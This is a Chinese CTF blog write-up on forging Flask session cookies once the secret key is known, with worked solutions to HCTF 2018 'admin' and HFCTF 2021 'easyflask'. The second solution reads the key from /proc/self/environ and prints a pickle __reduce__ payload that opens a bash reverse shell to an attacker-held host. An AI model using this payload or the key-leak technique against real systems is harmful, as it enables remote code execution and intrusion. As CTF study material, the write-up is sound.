• flask中的session伪造问题


    前言

    这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的session伪造问题。

    flask中的session

    flask是非常轻量级的web框架,它的session是存储在客户端的,是用户可见的,这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。

    1. from flask import Flask,session
    2. app = Flask(__name__)
    3. app.secret_key = "iamXiLitter"
    4. @app.route('/')
    5. def set_session():
    6. if 'name' in session:
    7. name = session['name']
    8. if name == "XiLitter":
    9. return "欢迎XiLitter"
    10. if name == "admin":
    11. return "欢迎admin"
    12. else:
    13. return "你是谁"
    14. else:
    15. session['name']="XiLitter"
    16. return "session重新设置"
    17. if __name__ == '__main__':
    18. app.run(debug=False,port=8000)

    打开cookie查看到有session,值是类似于base64编码的字符串。

    拿去base64解码,看看里面的存储格式是什么样的。

    是json格式存储,还有一堆乱码,那应该就是数据签名。

    session安全问题

    flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

    app.secret_key = "iamXiLitter"

    正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录。

    github上是有伪造脚本的,python2和python3的都有,下载链接:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

    本机环境python3,有了密钥,对session进行伪造。

    伪造出的session添加到cookie中重新刷新 。成功登录admin

     通过两道题目体会session伪造在ctf中的应用。

    [HCTF 2018]admin

    这道题貌似有很多解法。session伪造是其中一种。它这个给的提示有些隐晦,我们注册登录后,在修改密码的地方查看源代码,有题目源码地址。

    单看这个链接也能猜到用的是flask框架。要进行session伪造就必须要拿到密钥。把源码打包下载下来。可以在config.py中找到密钥。

    密钥为ckj123。那么就先看看客户端session。在这里直接base64解码是不行的,在网上找解密脚本运行出来。

    我们只需要将name中的qwe值替换为admin就可以了。利用密钥伪造出admin的session,还是利用脚本。

    拿去替换原来的session就可以成功admin登录啦。

    [HFCTF 2021 Final]easyflask 

    上一个题是专门考察session伪造的,那么这一题就是结合py反序列化一起考察的题目。

    直接看题目,跟着提示很容易找到源码。

    1. #!/usr/bin/python3.6
    2. import os
    3. import pickle
    4. from base64 import b64decode
    5. from flask import Flask, request, render_template, session
    6. app = Flask(__name__)
    7. app.config["SECRET_KEY"] = "*******"
    8. User = type('User', (object,), {
    9. 'uname': 'test',
    10. 'is_admin': 0,
    11. '__repr__': lambda o: o.uname,
    12. })
    13. @app.route('/', methods=('GET',))
    14. def index_handler():
    15. if not session.get('u'):
    16. u = pickle.dumps(User())
    17. session['u'] = u
    18. return "/file?file=index.js"
    19. @app.route('/file', methods=('GET',))
    20. def file_handler():
    21. path = request.args.get('file')
    22. path = os.path.join('static', path)
    23. if not os.path.exists(path) or os.path.isdir(path) \
    24. or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
    25. return 'disallowed'
    26. with open(path, 'r') as fp:
    27. content = fp.read()
    28. return content
    29. @app.route('/admin', methods=('GET',))
    30. def admin_handler():
    31. try:
    32. u = session.get('u')
    33. if isinstance(u, dict):
    34. u = b64decode(u.get('b'))
    35. u = pickle.loads(u)
    36. except Exception:
    37. return 'uhh?'
    38. if u.is_admin == 1:
    39. return 'welcome, admin'
    40. else:
    41. return 'who are you?'
    42. if __name__ == '__main__':
    43. app.run('0.0.0.0', port=80, debug=False)

    先对代码进行审计。因为对python代码不是很熟,所以比较啰嗦。审计flask主要看路由。先看/路由。序列化上面的User类,将序列化值存储在session中。再看/file路由。很明显,它主要对file传入的内容进行一个路径拼接,然后进行一个过滤,最后读取该路径的文件内容。最后是/admin路由。对session中的值进行反序列化,最后判断是否为admin。

    这题主要围绕session进行攻击的,所以对session的任意伪造是必不可少的。那么伪造session必须得找到密钥。题目没有直接给我们。唯一能找到密钥的点就是/file路由的文件读取。读取/proc/self/environ就可以得到密钥。个人认为是读取当前进程的环境变量,密钥在环境变量里。

    那么密钥就是glzjin22948575858jfjfjufirijidjitg3uiiuuh。剩下就是py反序列化了。思路很简单,直接构造__reduce__魔术方法执行rce。

    直接构造恶意类,貌似直接命令执行会报错误,这里用反弹shell解决。

    1. #!/usr/bin/python3.6
    2. import os
    3. import pickle
    4. from base64 import b64encode
    5. User = type('User', (object,), {
    6. 'uname': 'test',
    7. 'is_admin': 1,
    8. '__repr__': lambda o: o.uname,
    9. '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
    10. })
    11. u = pickle.dumps(User())
    12. print(b64encode(u).decode())

    这个User类有点奇怪,用了type函数,但是type返回的就是类,所以无影响。而lambda就是匿名函数了,冒号后面的表达式会被执行。在这里我卡了好久,用本机运行出来的序列化串一直无法打通,最后我在kali里用python2运行出来的序列化串可以成功反弹shell。但是环境不是python3的吗,不理解。

    那就kali运行出序列化串,

    然后就是将这串值加入到session中,先将session拿出来看看结构。这个可以base64解码直接看的

    然后就是利用脚本进行伪造了。同时开启监听。

    访问/admin路由,将session替换掉,然后重新刷新,接着我的vps成功反弹了shell。在根目录成功找到flag。

    注意一定要在linux环境下用python2运行出序列化串才能打通。

    结语

    flask的session伪造大部分都是跑脚本,只有在找密钥这个地方花点心思。同时,它可以结合许多的漏洞结合起来考察。所以在flask代码中出现SECRET_KEY就要留意一下是不是跟session伪造有关了。

    相关链接:

    Flask 的 SESSION 伪造 | Paoka1's Blog

    [HFCTF 2021 Final]easyflask_errorr0的博客-CSDN博客_easyflask1

  • 相关阅读:
    Apache HTTPD 多后缀解析漏洞
    go sqlx 包
    【Locust】模拟多用户并发与实战
    使用vant list实现订单列表,支持下拉加载更多
    嵌入式Linux 学习笔记 (一) fbtft使用笔记
    Innovus GUI——不显示inst name
    Mybatis plus
    蔚蓝资源包和数据分析
    自动驾驶系列(六)——谈谈车载人机交互技术
    DeepLab V2学习笔记
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/126710907